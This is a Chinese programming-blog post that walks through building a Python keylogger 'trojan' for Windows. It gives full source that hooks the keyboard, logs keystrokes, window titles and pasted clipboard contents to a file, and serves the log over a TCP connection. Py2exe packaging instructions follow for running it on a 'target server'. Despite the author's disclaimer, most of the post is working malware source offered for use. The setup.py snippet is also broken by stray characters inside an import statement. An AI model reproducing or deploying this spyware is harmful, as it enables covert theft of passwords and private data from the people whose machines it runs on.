您的位置:首页 > 编程语言 > Python开发

Python简单监控键盘输入的木马实现

2017-06-02 20:43 851 查看
由于文章制作的木马没有隐藏,实现的功能简单,没有危险性,故将木马开源,大神勿笑。请勿进行非法木马改造。

一,所需python库

木马目标运行环境为windows。使用的python类库为

pyHook(获取用户行为,安装提示见本人其他博文)

pywin32(提供windows下的python接口,比如pythoncom)

py2exe(由于木马目标运行环境为windows,该类库可以将python程序打包为exe程序,可以在没有安装python的windows中使用)

二,实现原理

1,TCP服务器和TCP客户端的信息交流原理及代码,见本人博客《python取代netcat第一步》http://blog.csdn.net/greepex/article/details/72823546

将其中的TCP服务端代码(while True)修改:

while True:
client, addr=server.accept()
print "[*]Accepted connection from:%s:%d"%(addr[0], addr[1])
#挂起客户端,处理传入数据
client_handler = threading.Thread(target=handle_client,args=(client,))
#挂起键盘监听程序
key_handler = threading.Thread(target=kl.main, args=())
key_handler.start()
client_handler.start()


还有一部分修改内容是将message.txt中存储的内容send,这里就不多说了。

2,实现对键盘的一个监听功能:

# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
# 读取窗口标题
windows_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)
# 存入本地的一个message.txt文件中
with open("message.txt","ab") as f:
f.write("\n")
f.write("[ PID:%s-%s-%s]\n" % (process_id, executable.value, windows_title.value))
f.write("\n")
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii < 127:
with open("message.txt","ab") as f:
f.write(chr(event.Ascii))
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
with open("message.txt","ab") as f:
f.write("[PASTE]-%s" % (pasted_value))
else:
with open("message.txt","ab") as f:
f.write("[%s]" % event.Key)
# 循环监听下一个击键事件
return True
def main():
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()


三,将python程序打包为exe文件

这一步有很多教程,这里取最为精简的:

1,在需要变为可执行文件的脚本根目录下创建”setup.py”文件,并在其中写入:

from distutils.core impo
acfb
rt setup
import py2exe
setup(console=["脚本名字.py"])


在setup.py的目录下打开cmd,并输入:

python setup.py py2exe


运行截图:



在目录下会出现两个文件:build和dist

其中build是中间文件,可以删除。

dist为结果文件,其中有可执行程序。

将dist拷贝到需要的目标服务器中,可以直接运行其中的可执行程序

参考文章:

[1]http://blog.csdn.net/greepex/article/details/72823546
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: